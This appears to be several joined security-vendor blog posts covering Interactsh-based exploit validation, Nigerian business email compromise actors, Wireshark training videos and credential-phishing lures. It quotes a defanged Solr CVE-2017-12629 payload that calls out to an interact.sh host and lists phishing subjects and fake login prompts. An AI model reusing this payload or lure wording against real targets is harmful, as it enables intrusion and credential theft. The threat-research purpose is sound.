Recently, Unit 42 has observed active exploits related to an open-source service called Interactsh. This tool can generate specific domain names to help its users test whether an exploit is successful. It can be used by researchers – but also by attackers – to validate vulnerabilities via real-time monitoring on the trace path for the domain. Researchers creating a proof of concept (PoC) for an exploit can insert Interactsh to check whether the PoC is working, but the service could also be used by attackers who want to be sure an exploit is working.
This blog will first introduce the Interactsh tool and how researchers or attackers can leverage it to perform vulnerability validation. We then describe some of the many exploits in the wild leveraging this tool, and we rank the exploits we’ve observed by popularity. In addition, we analyze Interactsh activity distribution in terms of dates and location. Lastly, we have included information about the malicious payloads for your reference.
Customers with Palo Alto Networks Next-Generation Firewall are protected against benign append attacks that use Interactsh.
Interactsh Tool
Unit 42 researchers have been actively monitoring malicious activities in the wild[1][2]. Starting mid-April 2021, we noticed some exploit attempts with the same domain name but different subdomains in the malicious payload. After investigation, we found that the source is a tool that can generate specific URLs for testing on DNS queries and HTTP attempts. This tool became publicly available on April 16, 2021, and we observed the first attempts to abuse it soon after, on April 18, 2021.
Figure 1. Interactsh’s GitHub Page for its open-source tool.
Figure 1 shows the GitHub page for the tool, stating that “Interactsh is an Open-Source Solution for Out of band Data Extraction, A tool designed to detect bugs that cause external interactions.” In the following experiment, we interact with the web UI, which is easily found by doing a web search on “interact project discovery.” When a user accesses the page, the web UI randomly generates an Interactsh link:
C4mqgxkyedf0000ar3d0gnkmaqayyyyyb[.]interact[.]sh
Figure 2. Example of using Interactsh through the Web UI.
We interact with this URL using a browser to check the query trace with the Interactsh UI, as shown in Figure 2. The UI shows the DNS query records and HTTP request for the URL, which means we successfully accessed C4mqgxkyedf0000ar3d0gnkmaqayyyyyb[.]interact[.]sh. In addition, the URL can also be used in the command line if the interactsh-client is installed.
The Payload Interaction
Attackers and researchers can use this tool to test whether an exploit has been successful. Figure 3 shows such an example.
Figure 3. Example of using Interactsh.
We picked an exploit attempt which used the Interactsh tool – in this case, a Generic IoT Device Remote Command Execution Vulnerability. The attacker sends an HTTP post request and passes a command by key parameter in the post body. Here a wget command was used to access a command and control (C2) server, which was created via the Interactsh tool. By watching whether the C2 server receives the request, it can be determined whether this exploit was successful.
Exploits Leveraging Interactsh
This tool has already been actively used through ISP and company networks as early as April 18. We find that there are a lot of simple command injections through networks, which are related to specific CVEs. We observed a huge number of attempts, sent from a group of IP addresses and followed by the same URL, which do not seem to be a research project but rather a scanning event.
We collected data from URL Filtering with PAN-DB from March 7-Sept. 7 and recorded around 32,200 Interactsh hits. Focusing on vulnerability/exploit attempts, table 1 ranks the CVEs the observed traffic most commonly attempted to exploit. This means the actors behind the traffic are using Interactsh API tools to test whether their exploit attempts succeed. Each unique Interactsh URL can be thought of as a C2. Most of the exploits for the same CVEs are using multiple randomly generated Interactsh domains and scanning on different host sides.
From our soak site (an internal network monitoring tool), we also captured some Interactsh activity, shown in Table 2, which could raise awareness of active exploits attempts.
Interactsh Activity Distribution
We also found several DNS queries using Interactsh from Cortex Xpanse data. We found three suspicious IP addresses.
We analyzed all the exploits we observed that used the Interactsh tool, starting from the time it went public. Though the tool has been available online since April, we noted increasing usage of the tool in June.
Figure 4. Exploits activity distribution using the Interactsh tool.
Figure 5 shows the distribution of Interactsh activity in terms of more specific dates. Events shown on the chart could be an exploit or a single scanning action. The activity shown in Figure 5 corresponds with Figure 4, which shows increasing traffic in June.
Figure 5. Interactsh activity distribution.
Figure 6 shows DNS queries with the Interactsh link, distributed by location. The United Kingdom ranks No. 1, followed by Ecuador and the U.S., which rank No. 2 and No. 3.
Even though Interactsh can be used for legitimate purposes, it is widely used by attackers to test malicious traffic. Its testing traffic therefore could be followed by a series of exploits. The trend of using third-party open-source tools to test exploits has become more popular in the last few years. It is convenient for attackers to use open-source tools, and it is hard for defenders to simply block this traffic by services/IP/server etc. To help organizations defend against malicious exploits that originate this way, we need to raise awareness about the tool.
hxxp[:]//ip-addr/search?q={!xmlparser v="<!doctype a system hxxp[:]//c3167tzyedf0000sfc2ggbo7zoeyyyyyp[.]interact.sh/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true""><a></a>"} (CVE-2017-12629)
Business email compromise (BEC) remains the most common and most costly threat facing our customers. The year 2020 marked the fifth year in which these schemes held the top position on the annual FBI Internet Crime Complaint Center (IC3) report. Over half a decade, global losses ballooned from $360 million in 2016 to a staggering $1.8 billion in 2020. Put in perspective, the annual losses associated with BEC schemes now exceed the gross domestic product (GDP) of 24 countries. Of greater concern, the combined losses in the three year period 2018-2020 are now estimated to be in excess of $4.93 billion worldwide. This threat shows no sign of slowing down, as losses increased 29% last year to an average of $96,372 per victim.
Over the past half decade, Palo Alto Networks Unit 42 has actively monitored the evolution of this threat with a unique focus on threat actors based in Nigeria, which we track under the name “SilverTerrier.” While BEC is a global threat, our focus on Nigerian actors provides insights into one of the largest subcultures of this malign activity, given the country’s consistent ranking as one of the top hotspots for cybercrime. We have compiled one of the most comprehensive data sets across the cybersecurity industry, with over 170,700 samples of malware from over 2.26 million phishing attacks, linked to roughly 540 distinct clusters of BEC activity.
Since 2016, we have witnessed several high profile arrests of BEC actors, including two arrests of actors accused of stealing $24 million and $60 million respectively. Simultaneously, Nigeria has demonstrated significant growth and outcomes in terms of driving reductions in how brazenly these actors operate. Leveraging our data set, we continue to actively partner with and support industry, government and international law enforcement efforts to combat this threat.
This blog provides a brief history of BEC, examines the evolution of SilverTerrier actors over time, identifies recent malware trends, describes efforts taken to date to combat this activity and provides recommendations to help organizations protect against these threats.
Palo Alto Networks customers are protected against the types of BEC threats discussed in this blog by products including Cortex XDR and the WildFire, Threat Prevention, AutoFocus and URL Filtering subscription services for the Next-Generation Firewall.
Defining Business Email Compromise
Before describing the evolution of BEC, it is important to establish a baseline definition of the threat. Given its name, many often mistakenly assume BEC encompasses any and all instances of computer intrusions where an email system is compromised. However, this definition could easily apply to almost any computer incident, ranging from supply chain attacks to ransomware, and is therefore far too broad.
Conversely, law enforcement and the cybersecurity industry rely on a much narrower definition. Specifically, BEC is considered a category of threat activity involving sophisticated scams which target legitimate business email accounts through social engineering or computer intrusion activities. Once businesses are compromised, cybercriminals leverage their access to initiate or redirect the transfer of business funds for personal gain. The remainder of this blog applies this narrow definition of threat activity.
Recent History
The term “business email compromise'' was first coined in 2013 when the FBI began tracking a nascent financial cyberthreat. At the time, BEC was simply viewed as a new cybercrime technique joining the ranks of other unsophisticated schemes, for example, the notorious “Nigerian Prince” scams. Yet, with the benefit of time, we have come to see that BEC was a cultural and technological evolution for the cybercrime ecosystem. The internet experienced unprecedented growth in a compressed time frame (2009-2013), much of which continues today. However, what is often overlooked is that the most significant growth during that period of time occurred in developing regions of the world. African nations, in particular, grew at the fastest rate with 27% annual growth, and by the end of 2013, an estimated 16% of the African population was online.
Concurrently, we also witnessed a proliferation of commodity information stealers, remote access trojans (RATs) and penetration testing tools. These capabilities were supplemented with the emergence of cyber certification programs and educational resources, both online and in universities, for how to use these types of tools. It thus becomes readily apparent how actors involved in traditional forms of paper-based mail fraud (Nigerian Prince/advanced fee scams), originating from developing nations, would naturally evolve their tactics to the internet using the newly available tools at their disposal. From a criminal standpoint, it was no longer effective or efficient to send thousands of paper letters through the international mail system and wait for a response. By the end of 2013, they could communicate in real time over the internet and simply send victims malicious files, which enabled their desired criminal outcomes.
Unit 42 has been following this evolution for the past six years. In 2014 we released our first report, 419 Evolution, documenting one the first known cases of Nigerians deploying malware for financial gain. In 2016, we performed focused research on the threat and quickly discovered it had grown to over one hundred different actors or groups. After assigning the code name “SilverTerrier” to Nigerian cyber actors, we detailed the tremendous growth of both actors and malware adoption in The Next Evolution of Nigerian Cybercrime.
In 2017, the threat continued to expand to over 300 actors or groups, and we began to track specific malware tool trends in our annual report, The Rise of Nigerian Business Email Compromise. Our 2018 report, “SilverTerrier: 2018 Nigerian Business Email Compromise Update,” documented that the number of actors surpassed 400, as the number of attempted attacks against our customers climbed to an average of 28,227 per month. Additionally, we began to observe a shift away from simple information stealers as more actors started to embrace RATs, which afforded greater capabilities.
By the end of 2019, this shift in tools had progressed to an established trend, as informational stealer usage declined steadily, while RAT adoption grew an impressive 140% year over year. Our annual report in 2019 also highlighted the emergence of the first set of Nigerian tool developers natively developing their own RATs and crypting tools for sale to their peers.
Finally, as we entered 2020 and began to feel the effects from the global COVID-19 pandemic, we documented yet another milestone as threat groups paused their traditional invoice- and package delivery-related phishing campaigns, in favor of pandemic-related themes. In doing so, BEC actors once again demonstrated their ability to adapt to the ever-changing environment in which they operate.
Actors
What started as a small cluster of activity in 2014 has grown significantly in scope and scale over the past seven years. To date, we have identified 540 distinct clusters of activity which we associate with Nigerian actors and groups. Seeking to understand these actors and their behaviors better, in 2016 we worked to identify commonalities among the actors. At the time, we thought that our efforts would confirm existing stereotypes – that these actors were simply young, unorganized script kiddies whose success was based more on luck than skill. Throughout our research we instead found that the actors were:
Living Comfortably – The actors were predominantly from the cities of Owerri, Lagos, Enugu, Warri and Port Harcourt in the southwest/coastal region of Nigeria. The majority stayed close to friends and family, where they lived quite comfortably based on the favorable exchange rate between foreign currency and the Nigerian naira. Their social media accounts often flaunted their criminal successes with pictures of foreign currency, huge homes and luxury vehicles such as Range Rovers. Additionally, some of the more successful actors traveled abroad to places like the United Kingdom and Malaysia, where they quickly reestablished their criminal operations.
Educated – Many of the actors had attended technical secondary school and went on to obtain undergraduate degrees from federal or regionally aligned technical university programs.
Adults – The actors ranged in age from late teenage years to adults in their mid-40s, thus representing a wide range of generations participating in the criminal activity. The older actors were often found to have evolved to BEC activity from other legacy forms of advanced fee scams, while the younger actors graduating with fresh university degrees began their criminal careers by jumping straight into malware campaigns.
Not Hiding – While a small subset of the actors went to great lengths to conceal their identities, the culture within Nigeria at the time allowed for a permissive environment for these types of illicit activities. As a result, the actors frequently applied little effort toward maintaining anonymity and often combined fake names or aliases with local street addresses, phone numbers and personal email addresses when registering their malicious domains. In doing so, we found that it was often easy to link these users to their social media and networking accounts on platforms such as Facebook, Google+, LinkedIn, Twitter, Skype, Yahoo Messenger and so on.
Becoming Organized – Early in the evolution of BEC, we saw that small clusters of actors were beginning to communicate, cooperate, and share tools and techniques. Most commonly, this took the form of an experienced actor standing up malware infrastructure for their friends or younger protégés. Alternatively, we saw actors sponsoring other actors for access to hacking forums, but while there were occasionally large groups of actors working together, such cases were believed to be rare.
Unit 42 is revisiting this historical assessment in 2021, and our analysis provides unique insights into how these actors have evolved over time. By and large, the actors are still living comfortably. Those who were most active in 2016 have grown up; they are now married, have children and have launched legitimate business ventures (hotels, clubs, technology companies, etc.) that were potentially funded through their previous criminal exploits. For those who chose to depart Nigeria, we observed relocation to additional countries in the Middle East, such as Turkey and the UAE.
The majority of the actors continue to be well educated, having completed both secondary and university programs. As these actors age, we see a notable decline in criminal activity as actors reach their mid to late 30s. While the exact reason is difficult to pinpoint, we believe that the decline may be due in part to actor maturation, including an interest in reducing risks as they start families, or simply that they have earned enough through their criminal exploits that they wish to pivot to legitimate business ventures. Conversely, it's also worth noting that we rarely see young children or teenagers involved in this type of malicious activity. New actors entering the space tend to be in their late teens and early 20s. On the younger side, technical skills and education, more than anything, remain a firm barrier to entry for this type of criminal activity.
Half a decade of change in Nigeria, as well as improved global awareness of the BEC threat, have had a positive effect in driving reductions in how brazenly these actors operate. The Nigeria Police Force (NFP) and Economic and Financial Crimes Commission (EFCC) have demonstrated significant growth and outcomes in their efforts to combat this threat and routinely post pictures of the actors they arrest on Twitter accounts. Aiding their efforts, organizations like INTERPOL, the FBI and the Australian Federal Police (AFP) have worked to collaborate internationally to enable global prosecution efforts. Concurrently, in the technology space, there have been mixed developments as collaborative platforms like Yahoo Messenger and Google+ were retired, while privacy improvements across social media platforms have impacted attribution efforts. As for the actors themselves, they have faced growing awareness of the risks associated with their criminal activity as the culture in Nigeria has evolved. While social media accounts may still flaunt their wealth, today it is far less common to see the posts openly discussing illegal activities, pictures of foreign currency or other content that may draw unwanted law enforcement attention.
However, BEC actors have become far more organized over time. While it remains easy to find actors working as a group, the practice of using one phone number, email address or alias to register malicious infrastructure in support of multiple actors has made it far more time consuming (but not impossible) for cybersecurity and law enforcement organizations to sort out which actors committed specific crimes. Similarly, we continue to find that SilverTerrier actors, regardless of geographical location, are often connected through only a few degrees of separation on social media platforms. To illustrate that case, Figure 1 shows social media connections between over 120 actors.
Figure 1. Link analysis of SilverTerrier actors.
Beyond the generalized actor trends identified above, we believe it is helpful to also examine individual actors in order to provide a more comprehensive portrayal of the modern BEC threat actor. Please consider the following examples:
Example A – Onuegwu Ifeanyi, also known as “SSG Toolz,'' was arrested by the NFP in November 2020. Having studied computer science at Imo State University, he launched Ifemonums-Solution LTD as a legitimate business venture in late 2014. That same year, he began his criminal activities, and from 2014 until his arrest, he registered over 150 malicious domains for personal use and to support other actors. Examples include us-military-service[.]com, starwooclhotels[.]com, and gulf-capital[.]net. Many of these domains also served as command and control infrastructure for over 2,200 samples of malware, including Pony, LokiBot, PredatorPain, ISRStealer, ISpySoftware, Remcos and NanoCore. In 2016, he was one of the most active members in the now-defunct “wirewire com” Facebook group, having sponsored 30 other actors to a group focused on performing fraudulent wire transfers. Today his social media portrays a successful businessman, married, with children, driving a Range Rover and traveling the world to places like France, the United Kingdom, Italy and Malta.
Figure 2. Onuegwu Ifeanyi posing next to a Plymouth Prowler.
Example B – This individual also studied at Imo State University. Between 2015 and 2018, he registered 180 domains using a mailing address associated with Jakarta, Indonesia. Several of these domains served as command and control servers for at least 55 samples of malware. Aside from revealing that he also owns a Range Rover, his social media account shows that the EFCC attempted to arrest him in 2018. While the arrest details are unknown, this actor felt compelled to boast about his release afterwards.
Figure 3. Actor boasting after his arrest.
Example C – This actor studied at Lagos State University, is in his 20s and is unmarried. From 2016 to the present, he has registered 55 malicious domains. These domains are linked to over 480 samples of malware. Furthermore, based on the names of the domains, it appears that this actor is likely providing infrastructure to support other actors. Examples include: 247logss[.]info, fergologss[.]us, kinglogss[.]info , and nelsloggs[.]com. Serving as the exception to the rule, this actor is also quite public about his activities on social media. In 2017 he maintained a Facebook account with a background image that said “certified cybercriminal.” Presently, his personal Facebook account contains a background image of the Guy Fawkes/Anonymous mask.
Figure 4a. A 2017 Facebook profile picture.Figure 4b. A 2021 Facebook profile picture.
Malware and Business Email Compromise
From 2014 to the present, we have identified over 170,700 samples of malware directly attributed to Nigerian BEC actors. Representatively, this data set serves as the most comprehensive collection of BEC indicators of compromise (IoCs) across the cybersecurity industry. These samples have been observed in over 2.26 million phishing attacks targeting our customers across all industry verticals globally.
Over time, we have taken steps to characterize trends from this data set to empower network defenders. We observed that the period 2014-2017 was marked by steady growth in the adoption of information stealers like Pony, LokiBot, and AgentTesla. This was then followed by a decline in recent years as tool availability declined, and both industry detection rates and the technical skills of actors improved. As such, from 2018-2020, we witnessed a rapid adoption of RATs, with the most popular being NanoCore, Adwind, Remcos, Netwire and a home grown/Nigerian-developed variant of HWorm called WSH RAT.
Yet while we continue to see steady growth and adoption of RATs by SilverTerrier actors, our analysis of telemetry from 2020 through the first half of 2021 found it was also important to consider the influence that the global ecosystem has on their activity. In a pre-COVID world, it made sense to highlight new tools annually, as there were frequent changes in tools marketed to actors on cybercrime forums. While that continued to a certain extent throughout the pandemic, the reality is that we didn’t observe any significant shift among BEC actors toward new tools or capabilities over the past year and a half. Instead, our telemetry shows that these actors generally opted to stick with known tools with demonstrated capabilities and performance. In doing so, they focused their attention on adapting and tailoring their delivery campaigns to the shifting global environment.
If asked to consider the impact of the pandemic from a technology standpoint, many would quickly point out that much of the global workforce shifted to remote work arrangements. Depending on the size and resources of employers, employees began leveraging VPN solutions, employer-provided or personal computing devices, and home internet connections. These developments significantly changed how cybersecurity protections were applied across enterprises, more than any other event in the last decade. Furthermore, this shift may have even influenced employee risk tolerance (e.g. increased suspicion of phishing emails), as their work devices were now connected to their home networks. As a result, BEC actors saw a massive shift in the global attack surface that necessitated a change in their delivery themes and techniques.
In 2019 it was common to see BEC actors build new malware payloads as portable executable files (.exe files) and distribute them using phishing campaigns with business themes such as invoices or delivery notices. At the time, Microsoft Office file formats were also leveraged on occasion, adding a layer of complexity and obfuscation. Two of the most common techniques used in developing these documents included exploit code for CVE-2017-11882 or embedding a malicious macro. In both cases, upon opening, these documents were designed to call out, download and run a malicious payload from an online resource. However, across the totality of the samples we analyzed in 2019, only 3.5% used macros and only 3.6% used the CVE-2017-11882 technique.
As early as January 2020, phishing lures began to change to themes associated with the pandemic. Examples include “Coronavirus in Indonesia: Know how to protect and prevent yourself. Don’t get infected” and “Covid:19 Facial Masks - New Order.” As the themes changed, so too did the target audience and delivery packaging. Portable executables remained popular, but we observed a marked increase in Microsoft Word and Excel documents. By the end of the year, Microsoft Office documents with embedded macros remained steady at 3.5%, but documents utilizing the familiar and well-documented CVE-2017-11882 climbed to 13.5%.
Fortunately, CVE-2017-11882 is now a four-year-old vulnerability, and it makes sense that its effectiveness, and therefore its use, would fade over time. Conversely, macros have a more lasting presence as they are relatively easy to code and rely on unsuspecting victims to enable them. In reviewing our telemetry from the first half of 2021, our preliminary findings show only a minimal number of malware samples using the CVE technique, while 69% of all malware samples are now Office documents with embedded macros.
We know that the global pandemic has driven exponential change in various technologies supporting remote work (cloud computing, video conferencing, etc.). At the same time, we also acknowledge that the astonishing growth curve of malware packaged as Office documents – climbing from a combined 7% in 2019, to 17% in 2020, to 69% in 2021 – warrants further investigation. Taking a deeper look, we found that the raw number of malware samples packaged as Office documents halfway through 2021 already meets or far exceeds the annual number of samples we observed in previous years. As such, we remain confident that there is a definitive growth trend.
At the same time, we believe it is also critically important to understand that between mid-2020 and early 2021, almost every business on the planet revised their cybersecurity posture, changed appliances in their environment, re-architected their network traffic flows, and tightened their network security policies to support remote work practices. The effect of these changes must be considered when analyzing threat trends. Applied in combination and at a macro level, these adjustments significantly altered the visibility of threats across both the perimeter (firewall) and host (endpoint) levels. For example, attachments that may have been permitted following cybersecurity analysis in a corporate work environment may have become blocked by default in a remote work environment. Depending on implementation, such a change would reduce the visibility of threats for a cybersecurity company. Thus, it is nearly impossible to draw an even comparison between pre- and post-pandemic threat activity, as the collection posture across the entirety of the cybersecurity industry has shifted dramatically. We applied this lesson to our observations of malicious Office documents and assessed that our preliminary findings of 69% for 2021 are likely artificially inflated due to changes in collection posture over the past year. However, even after accounting for any artificial inflation, a clear growth pattern remains worthy of recognition by network defenders.
Combating BEC
As a global cybersecurity leader, Palo Alto Networks aggressively pursues its mission to be the cybersecurity partner of choice while protecting our digital way of life. In doing so, our focus extends well beyond the protections that our products and services provide to our customers. We seek to provide thought leadership and threat intelligence broadly across the community, while simultaneously working with law enforcement entities worldwide to thwart future threats.
We are not alone in our vision for stopping malicious cyber activity. Over the past few years, the cybersecurity community has teamed with law enforcement to achieve successful outcomes against this threat on several occasions. As a leader in the industry, we continue to promote such efforts and encourage others across our industry to do the same. One notable example is a joint arrest by Interpol and the EFCC in 2016 of an actor who stole more than $60 million from hundreds of victims, including $15.4 million from just one organization.
Two years later, in 2018, the FBI launched its first global campaign targeting BEC actors, which it called Operation WireWire. Over the course of six months and in close collaboration with Palo Alto Networks, FlashPoint, the National Cyber Forensics Training Alliance (NCFTA) and several others, law enforcement agencies were able to arrest 74 actors worldwide. Building off this trailblazing effort, a year later the FBI launched Operation Rewired, in which another 281 actors were arrested worldwide. This included 167 individuals that were arrested in Nigeria in close coordination with the EFCC.
In June 2020, a Nigerian social media influencer who goes by the handle “Hushpuppi” was arrested in Dubai. Though he was known for influencer activities such as posing next to private jets and luxury cars, he was subsequently indicted by the FBI for stealing over $24 million.
Figure 5. Hushpuppi’s social media photo.
Around the same time, we witnessed a significant shift in how U.S. law enforcement entities viewed the challenge of BEC actors operating beyond their reach internationally. While arrests and prosecutions are a vital part of the law enforcement process, it's also important to acknowledge that BEC is not a problem that we can solve solely through arrests. Other instruments of national power should be applied to this problem set. In June 2020, the United States Attorney's Office in the District of Nebraska opted to apply U.S. Treasury sanctions to six Nigerian BEC actors for the first time. This action was novel in that it demonstrated an ability to impose a cost on foreign cybercriminals by directly denying access to U.S. financial systems. It further made it illegal for individuals and organizations to transfer funds to these actors and significantly raised the consequences for money mules and others that assisted these actors in their crimes.
As a final example, in November 2020, Interpol, in conjunction with the NFP, arrested three Nigerian actors accused of using 26 different malware families to conduct BEC activities against victims in over 150 countries. Although the total losses are unknown, at the time of the arrest, law enforcement agents discovered a list of 50,000 victims targeted over the course of four years.
Combined, these examples highlight several of the major industry successes in combating BEC activities over the years. Consequently, they also cause us to pause and reflect on the challenges of combating this threat and the financial motives driving its continued existence. In terms of the latter, there is often speculation that because of the technical skills of these actors, it would be devastating if they began adopting ransomware. While such a transition is technically feasible, it is also unlikely for two reasons. First, BEC activities in Nigeria and elsewhere evolved from advanced fee style scams. These scams were generally considered culturally permissible in many places as they were perceived to be akin to jokes, pranks or fooling victims into transferring funds. Conversely, activities demanding ransom payments do not fit this model and tend to be culturally and ethically incongruent with this population of cyber actors. More specifically, it is common to see Nigerian actors speak out in disdain against kidnapping and other ransom-demanding events in their home country. Second, and equally important, it’s difficult to justify a financial motive for BEC actors to switch to ransomware. The examples above show two actors making $60 million and $24 million respectively from their BEC activities. Compare those numbers with the recent Colonial Pipeline ransomware event in which DarkSide demanded $4.4 million and kept almost none of it. It becomes easy to see why pursuing higher-risk, higher-visibility activities like ransomware may not be as appealing or financially profitable as the current BEC status quo.
Finally, as it applies to combating this threat, our experience has shown that the largest challenge is, surprisingly, the ability of law enforcement to identify victims. Given how these schemes work, most victims don’t discover the fraudulent wire transfer until days, weeks or months later. By that time, calling local authorities to investigate is often a moot point, as funds are irrecoverable, and therefore many victims opt not to report the crimes. Conversely, from the vantage point of law enforcement, BEC is a relatively unique form of cybercrime in that the actors perpetrating the crimes are often easily identifiable. Thus, in a reversal of expectations, it is common for investigators to spend considerable time and resources trying to find victims in their specific legal jurisdictions, as the actors themselves and their malware campaigns are already known. Because of this gap, we would conclude by encouraging all organizations who experience a BEC loss to report the event, regardless of timing or circumstances, to organizations like the Internet Crime Complaint Center (IC3). Doing so will tremendously aid efforts to continue combating this threat in the future.
Protections and Mitigations
The best defense against these evolving threats is a security posture that favors prevention. We recommend that organizations implement preventative practices including:
Review network security policies, focusing on the types of files (portable executables, documents with macros, etc.) that employees can download and open on devices attached to company networks. Additionally, as a best practice, URL filtering rules should be established to restrict access by default to the following categories of domains: Newly Registered, Insufficient Content, Dynamic DNS, Parked and Malware.
Routinely review mail server configurations, employee mail settings and connection logs. Focus efforts on identifying employee mail-forwarding rules and identifying foreign or abnormal connections to mail servers. When possible, consider implementing geo-IP blocking. For example, small local businesses do not need to allow logon attempts from foreign countries where they have no employees.
Conduct employee training. Routine cyberthreat awareness training is one component; however, organizations should also consider tailored training focused on their sales and finance components. Such training should require all wire transfer requests to be validated using verified and established points of contact for suppliers, vendors and partners.
Conduct tabletop exercises and rehearsal investigations with the intent of determining sources of evidence, as well as gaps in the types of evidence needed, and establishing reporting points of contact for the appropriate authorities. Additionally, rehearsals should validate familiarity with the financial fraud kill chain and make clear that staff know which personnel are responsible for enacting it.
Conduct compromise assessments on an annual or more frequent basis to test organizational controls and validate that there is no unauthorized activity occurring in the environment. By reviewing mailbox rules and user login patterns on a regular basis, these assessments can verify that controls are functioning as expected and that unwanted behaviors are being effectively blocked throughout the environment.
Finally, for Palo Alto Networks customers, our products and services provide several capabilities designed to thwart BEC attempts, including:
Cortex XDR protects endpoints from all malware, exploits and fileless attacks associated with SilverTerrier actors.
WildFire® cloud-based threat analysis service accurately identifies samples associated with information stealers, RATs and Microsoft Office document packaging techniques used by these actors.
Threat Prevention provides protection against the known client and server-side vulnerability exploits, malware and command and control infrastructure used by these actors, including CVE-2017-11882
Advanced URL Filtering identifies all phishing and malware domains associated with these actors and proactively flags new infrastructure associated with these actors before it is weaponized.
Users of AutoFocus™ contextual threat intelligence service can view malware associated with these attacks using the SilverTerrier tag.
Conclusion
BEC schemes remain the most profitable and widespread form of cybercrime on the internet today. Last year, global losses from these crimes eclipsed $1.8 billion, and the threat shows no sign of slowing down. Reviewing the recent history of the threat, we have observed positive changes in the ecosystem as the culture in countries like Nigeria has become less tolerant of these activities, and law enforcement entities have stepped up their efforts to find, arrest and prosecute these actors. There is still plenty of work to be done to combat this threat as it shifts toward new delivery techniques in our rapidly evolving world. Commensurate with all of the changes we have seen and implemented in the cybersecurity domain over the past year, we encourage all organizations to invest in a thorough review of controls they have in place to protect against this threat.
Wireshark is a tool used to review packet captures (pcaps) of network activity. Since 2018, I have written various Wireshark tutorials and conducted in-person workshops at conferences across the globe. My in-person workshops were designed to help people in information security roles use Wireshark to review traffic from Windows-based malware infections.
Since early 2020, travel restrictions due to COVID-19 (the coronavirus) have halted these in-person workshops. Due to this setback, we want to announce an initial series of video tutorials developed to replicate most aspects of these formerly in-person workshops.
Wireshark Workshop Videos
The following are the first five videos of our Palo Alto Networks Unit 42 Wireshark Workshop:
These videos are designed to be watched sequentially, starting with “Part 1: Introduction and Prerequisites.” After Part 1, each workshop video builds on material covered in the previous video(s).
As the opportunity arises, I will create more Wireshark Workshop videos. Future videos will focus on traffic from specific families of Windows-based malware, and some will cover traffic from other malicious activities like phishing websites.
Supporting Material
Pcaps used for these Wireshark Workshop videos are available at this GitHub repository. The repository also contains PDF files of slides used for the workshop videos.
Wireshark Tutorials as Supplemental Material
The following Wireshark Tutorials were published before this initial series of Wireshark Workshop videos:
Combined with our five workshop videos, these Wireshark tutorials can help security professionals better understand Wireshark and various types of Windows-based malware infections.
Conclusion
This blog announced an initial series of five video tutorials for a Unit 42 Wireshark Workshop. These videos are designed to help people use Wireshark to review traffic from Windows-based malware infections. Combined with WIreshark Tutorials already published by Palo Alto Networks Unit 42, these videos can help security professionals build their skills in analyzing malicious traffic caused by Windows-based malware.
While ransomware and ransomware-as-a-service (RaaS) attacks have dominated much of the cybersecurity community’s discussions over the past several months, criminals and hackers continue to compromise corporate, business and personal emails for financial gain. These scams, business email compromise (BEC) and personal email account compromise (EAC), continue to be the most pervasive and costly reported cyberthreats to users daily. In its latest annual report, the Federal Bureau of Investigation (FBI) identified that BEC and EAC accounted for at least $1.86 billion in losses within the U.S. in 2020, a 5% increase over losses reported in 2019. BEC and EAC accounted for 45% of all 2020 reported cybercrime losses in the U.S., and individuals over 60 years of age accounted for 11% of the reported victims.
By rough comparison, the largest known ransomware payoff to date is $40 million. The 2021 Unit 42 Ransomware Threat Report found that the average ransomware demand was $847,344 in 2020, while the average ransom paid by victims was $312,493. In the first half of 2021, the average ransom paid climbed 82% to $570,000. These figures for average ransom paid are conservative in that they only include direct monetary losses in paid ransoms. They do not include the losses associated with a company losing revenue while being forced to operate in a degraded state during an attack, and do not include resources spent investigating the breaches; they only include known attacks. Depending upon the nature of the attack and potential data breach, a company can choose not to report a ransomware attack. Ultimately, this choice makes it challenging for the cybersecurity and law enforcement communities to determine the full scope of these crimes.
One thing that all of these attacks – BEC, EAC and ransomware – have in common is that they require privileged access to targets’ networks or accounts. For most actors going against targets with average-to-below-average cyber defenses, masquerading as a legitimate user or correspondent to get into a network or account remains the easiest and most cost-effective way to gain clandestine access while maintaining a low risk of discovery. As advanced persistent threats (APTs) have shown and the United States and United Kingdom governments have observed, by using legitimate credentials and publicly available techniques, malicious actors can “evade defenses and collect and exfiltrate various information in the networks.” While the APTs are successfully meeting their campaign goals with brute force credential attacks, criminals, in many cases, are simply asking their unwitting victims to hand over their credentials.
Evolving Techniques for Email Credential Harvesting
The lucrative nature of BEC/EAC scams drives criminals to continually modify and upgrade their tactics to defeat protections. One of the newer techniques integrates spear phishing, custom webpages and the complex cloud single sign-on ecosystem to trick users into unwittingly divulging their credentials. A prevalent tactic uses seemingly benign webpages that, once opened, closely mimic legitimate login screens for popular and often used services such as:
Office 365 and Outlook (login[.]microsoftonline[.]com)
Outlook and Hotmail (login[.]live[.]com)
Dropbox (www[.]dropbox[.]com/login)
Zimbra (mail[.]zimbra[.]com)
(Dropbox said in a statement, “This activity does not involve Dropbox's service. This demonstrates the increasing complexity of relying on customers to discern real from fake, and while this doesn't involve our service, we are always working with our trusted partners to be proactive and improve where and how customers are exposed to our brand and protect it accordingly.”)
When scammers use this tactic, it usually starts with a baited email enticing the recipient to open the attachment or click on the link to a webpage. The emails usually focus on some segment of business operations (including finance, human resources, logistics and general office operations) and point to an attachment or link related to topics requiring user action. These topics include remittances, invoices, outstanding payments, requests for quotes (RFQ), purchase confirmation, shipment status, voice mails or fax delivery via email, to name a few. To make the email seem more legitimate, some criminals integrate specific information about the target in meaningful ways, including within the subject of the email. Some recent email subjects include:
OneDrive Document to {username}
{Company Name} New FaxMail Received {DD/MM/YYYY}
{Company Name} New FaxMail Received {DDMMYYYY}
{username} 1 voice message received {M/D/YYYY}
VNotes transmitted to {username}
Mailbox Verification for {email address}
Once opened, the email presents the user with what appears to be a typical login page. In an attempt to lower suspicion, scammers often highlight the need for heightened security or that the service logged the user out. In some cases, the pages are sent with the user’s email address already included (again in an attempt to enhance the legitimacy of the request) and simply ask for the password. These misleading login screens have alerts such as:
You need to sign in with your email to ensure you are the rightful recipient of the protected file. File is protected by [insert security vendor] for Mail Servers.
To read the document, please enter with the valid email credentials that this file was sent to.
Because you're accessing sensitive info, you need to verify your password.
Authentication needed because you're accessing a sensitive document.
This device is not recognized. For security, [company name] want [sic] to make sure it's really you.
Your email account {username} has been signed out, click ok to sign in.
Please log in to your account to view secured files
You have been logged out! Please enter your correct Email and password!
Get to your documents from anywhere by signing into Office.
“Your password is security to view your fax message.
Figure 1a. Example of a malicious login request impersonating Microsoft, requiring credentials for document access.Figure 1b. Example of a malicious login request impersonating SharePoint, requiring credentials for document access.Figure 1c. Example of a malicious login request impersonating Microsoft, requiring credentials for document access.
